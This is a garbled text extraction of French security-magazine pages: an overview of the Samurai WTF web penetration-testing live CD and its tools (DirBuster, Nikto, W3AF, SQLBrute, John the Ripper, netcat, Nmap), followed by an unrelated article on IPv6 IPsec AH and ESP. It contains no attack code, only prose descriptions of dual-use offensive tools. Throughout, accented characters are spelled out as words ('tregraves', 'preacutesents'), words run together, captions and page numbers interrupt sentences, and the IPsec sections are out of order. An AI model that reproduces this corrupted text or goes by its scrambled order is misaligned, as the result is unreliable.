Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

